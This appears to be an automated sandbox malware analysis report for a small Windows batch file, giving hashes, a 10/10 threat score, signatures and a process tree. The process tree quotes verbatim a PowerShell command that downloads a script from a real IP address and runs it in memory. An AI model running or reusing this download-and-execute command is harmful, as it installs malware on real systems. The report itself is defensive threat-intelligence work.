b26ba894edc0ffedb94ed655a6d2613a774ea645b6bde9f0536d6f75c6320a86 | Triage

Analysis

max time kernel
114s
max time network
133s
platform
windows10_x64
resource
win10v200430
submitted
05-05-2020 13:10

Sharing

Report Analysis Logs

General

Target

KTWmE3JA.bat
Size

193B
MD5

86e9084080fb1d5b8df7ce17b4205606
SHA1

ae45e41a8738289d0b7f5cd8d7bc5d2c5181cf63
SHA256

b26ba894edc0ffedb94ed655a6d2613a774ea645b6bde9f0536d6f75c6320a86
SHA512

85ec46f47049528e367c95212fbc882e7d3f0968a612864b78a4f98fe0df774be9d2e8512f4eeb78a7cd8d3ac974967d7f8ba599b7baa7279155064a57a9996d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/KTWmE3JA

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3688 2812 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3688 WerFault.exe
Token: SeBackupPrivilege 3688 WerFault.exe
Token: SeDebugPrivilege 3688 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe
3688	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 4 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KTWmE3JA.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/KTWmE3JA');Invoke-JJQIFZXQMF;Start-Sleep -s 10000"
2⤵
PID:2812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2812 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3688

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3688-0-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download
memory/3688-2-0x00000000052E0000-0x00000000052E1000-memory.dmp

Filesize
4KB

Download
memory/3688-39-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download